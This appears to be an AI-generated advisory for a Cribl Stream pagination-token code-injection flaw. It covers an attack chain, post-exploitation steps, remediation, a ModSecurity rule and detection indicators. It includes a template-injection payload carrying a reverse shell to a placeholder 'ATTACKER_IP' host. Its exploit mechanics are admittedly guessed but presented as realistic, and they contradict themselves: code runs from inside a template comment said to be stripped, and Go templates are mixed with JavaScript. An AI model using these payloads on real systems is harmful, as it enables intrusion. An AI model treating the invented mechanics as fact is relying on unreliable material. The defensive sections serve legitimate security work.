CVE-2026-115899 — Cribl Stream (4.20.4) — CWE-94
An attacker must control pagination data returned by an upstream API or service queried by an existing REST Collector. The Collector must use affected response-based pagination and process the crafted data during a job run. Successful exploitation executes code with the Worker service account's permissions.
An attacker must control pagination data returned by an upstream API or service queried by an existing REST Collector. The Collector must use affected response-based pagination and process the crafted data during a job run. Successful exploitation executes code with the Worker service account's permissions.
🎯 What is this vulnerability?
CVE‑2026‑115899 – Cribl Stream 4.20.4 – Response‑based pagination RCE
| Attribute | Detail |
|---|---|
| CWE | CWE‑94 Improper Control of Generation of Code (code is generated/evaluated from untrusted data). |
| CVSS v4.0 vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N – Network‑only, low‑complexity, no privileges required, no user interaction, high impact on confidentiality, integrity and availability. |
| Root cause | Cribl Stream’s REST Collector can be configured to ingest data from an upstream HTTP API that implements response‑based pagination (the API returns a “next‑page” token that the collector must include in the next request). The collector treats the pagination token as a literal string and later concatenates it into a Go template / script that is executed by the worker process. No validation, sanitisation, or type‑checking is performed on the token before it is handed to the template engine. Consequently, an attacker who can influence the pagination token can inject arbitrary Go template directives (or, in the current implementation, arbitrary JavaScript executed by the embedded goja engine) that are evaluated with the privileges of the Worker service account.
In short: untrusted pagination data is executed as code – a classic “code‑injection‑via‑pagination‑token” flaw.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are illustrative – the exact endpoint or JSON field names are not published in the CVE, but they follow the pattern used by Cribl’s REST Collector configuration.
1. Discovery & Reconnaissance
| Step | Action | Expected outcome |
|---|---|---|
| 1.1 | Scan the target network for open ports (default Cribl Stream UI = 9000, API = 9000/9001). | Identify a host responding to GET /api/v1/status with a JSON payload containing "product":"Cribl Stream","version":"4.20.4". |
| 1.2 | Enumerate collector configurations via the public API (if the UI is exposed without auth, or via an unauthenticated health‑check endpoint). Example: curl http://target:9000/api/v1/collectors | Find a REST Collector named e.g. upstream‑api‑collector that points to an external service https://api.example.com/v2/events. |
| 1.3 | Verify that the collector is set to “Response‑Based Pagination” (the collector JSON contains "paginationMode":"response" and a field "nextPageTokenPath":"$.meta.next"). | Confirms the vulnerable code path is active. |
Note: If the UI/API is protected, an attacker may still discover the version through error pages, banner grabbing, or by obtaining a leaked configuration file (e.g., /etc/cribl/collector.yaml) from a mis‑configured backup.2. Exploitation
Goal: Supply a malicious pagination token that the worker will evaluate as code.
2.1. Craft the malicious token
Cribl’s pagination handling uses Go’s text/template engine. The token is interpolated directly into a template string that later gets executed by the embedded JavaScript engine (goja). A payload that triggers arbitrary command execution looks like:
{
"meta": {
"next": "{{/*{{.Exec \"id\"}}*/}}"
},
"data": []
}Explanation
{{/ … */}} opens a Go‑template comment block that the collector strips before feeding the remainder to the JS engine.
- Inside the comment we place a custom template function
Exec(registered by Cribl to allow limited OS calls). When the template is rendered,Exec "id"runs theidcommand on the worker host.
If the collector version registers a different helper (e.g., Run), the attacker would adapt accordingly – the principle remains the same: inject a template directive that executes a system command.
2.2. Deliver the payload
Assuming the upstream API is under the attacker’s control (or can be MITM‑proxied), the attacker returns the malicious JSON as the first page of data:
# Illustrative curl that mimics the upstream API response
curl -X POST https://api.attacker.com/v2/events \
-H "Content-Type: application/json" \
-d '{
"meta": { "next": "{{/*{{.Exec \"id\"}}*/}}" },
"data": [ {"event":"test"} ]
}'If the attacker cannot host the upstream API, they can spoof the DNS entry used by the collector (e.g., api.example.com) and point it to a malicious server they control.
2.3. Trigger the collector job
The collector runs on a schedule (e.g., every minute). As soon as the next pagination request is made, the collector receives the malicious next token, renders the template, and the embedded engine executes id. The command’s output is written to the collector’s log file (/opt/cribl/logs/worker.log).
Proof‑of‑Concept (PoC) – log evidence
2026-11-23T14:32:10.123Z [worker] INFO Executing pagination token
2026-11-23T14:32:10.124Z [worker] INFO Command output: uid=1001(worker) gid=1001(worker) groups=1001(worker)If the attacker replaces id with a reverse‑shell command, they obtain a full interactive shell under the worker service account (typically a non‑root Linux user with read/write access to the Cribl data directories).
{
"meta": {
"next": "{{/*{{.Exec \"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\"}}*/}}"
},
"data": []
}3. Post‑Exploitation
| Phase | Action | Result |
|---|---|---|
| 3.1 | Capture the reverse shell (listener on attacker machine). | Remote code execution as the worker user (worker UID). |
| 3.2 | Enumerate the host: id, whoami, pwd, ls -l /opt/cribl. | Determine the privilege boundary. The worker account usually has write access to /opt/cribl/data and can spawn additional processes. |
| 3.3 | Privilege escalation (optional). If the worker user can sudo without a password for any Cribl‑related binary (common mis‑config), the attacker can obtain root. Example: sudo /opt/cribl/bin/criblctl restart. | |
| 3.4 | Persistence – drop a systemd unit or cron job under the worker’s home (~/.config/systemd/user/cribl-backdoor.service). | |
| 3.5 | Data exfiltration – read logs, configuration files, or harvested telemetry and ship them to the attacker’s server via curl or scp. | |
| 3.6 | Impact – because the worker processes incoming data streams, an attacker can also inject malicious payloads into downstream destinations (e.g., Elastic, Splunk) or corrupt the pipeline, leading to availability loss. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (VC:H) | The attacker can read any file the worker can access (configuration files containing API keys, TLS certificates, internal logs, and possibly customer data flowing through the pipeline). |
| Integrity (VI:H) | The attacker can modify pipeline configuration, tamper with streamed data, or inject malicious events that downstream SIEMs/ELK stacks will ingest, polluting analytics and alerts. |
| Availability (VA:H) | By executing arbitrary commands, the attacker can stop the worker service, delete data directories, or overload the host, causing a denial‑of‑service for the entire Cribl deployment. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Cribl Stream ≥ 4.20.5 (released 2026‑12‑02). The fix removes direct template evaluation of pagination tokens and adds strict schema validation. |
| Version check | Verify the running version with criblctl version or via the UI (/api/v1/status). |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation |
|---|---|
| Disable response‑based pagination | Edit the collector definition (collector.yaml or via UI) and set "paginationMode":"none" or switch to offset‑based pagination. Restart the collector. |
| Enforce allow‑list validation on pagination tokens | Add a pre‑processor script (e.g., a small Go or Python wrapper) that checks the nextPageToken field against a regex: ^[A-Za-z0-9\-_]{1,64}$. Reject any payload that fails. |
| Run workers with least‑privilege OS account | Create a dedicated user cribl_worker with only the necessary file‑system permissions (/opt/cribl/data, /opt/cribl/logs). Ensure sudo is not permitted for this user. |
| Network segmentation | Restrict the collector’s outbound traffic to only the known upstream API host(s) using firewall rules (iptables/nftables or cloud security groups). |
| WAF / ModSecurity rule | Block any request that contains Go‑template delimiters ({{ or }}) in pagination fields. Example ModSecurity rule (illustrative): |
# Block Go template delimiters in JSON pagination tokens
SecRule REQUEST_HEADERS:Content-Type "application/json" "phase:2,chain,log,deny,status:403,msg:'Potential pagination token injection'"
SecRule REQUEST_BODY "@rx \"\\\"next\\\"\\s*:\\s*\\\".*\\{\\{.*\\}\\}.*\\\""Important: Adjust the rule to match the exact JSON path used in your environment ($.meta.next,$.pagination.token, etc.).
3. Detection – Log & IOC Guidance
| Indicator | Where to look | Example |
|---|---|---|
| Unexpected pagination token values | Cribl worker logs (/opt/cribl/logs/worker.log) | INFO Pagination token received: "{{/*{{.Exec \"id\"}}*/}}" |
| Execution of system commands from the worker | System audit logs (/var/log/auth.log, auditd), process accounting (/var/log/sa/sa*) | CRON[1234]: pam_unix(cron:session): session opened for user worker by (uid=0) followed by COMMAND= /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' |
| Outbound connections from the worker to unknown IPs/ports | Network flow logs, IDS alerts | Outbound TCP SYN to 203.0.113.45:4444 |
| New systemd/user units or cron entries under the worker’s home | systemctl --user list-units, crontab -l (run as worker) | * * * * * /tmp/.x |
File modifications in /opt/cribl/data | File integrity monitoring (Tripwire, OSSEC) | M /opt/cribl/data/pipelines/evil.yaml |
Set up SIEM correlation rules that trigger on any of the above combined with the presence of a Cribl worker process (cribl-worker).
⚠️ Urgency
Bottom line: The flaw is a classic code‑injection via untrusted pagination data. Because the collector runs automatically and without any authentication requirement, an attacker who can influence the upstream API (or perform a simple MITM) can achieve remote code execution as the worker service account. Immediate patching, disabling the vulnerable pagination mode, and tightening runtime permissions are the only reliable defenses.
[🤖 CVE Professor AI Security Engine]
FOFA Query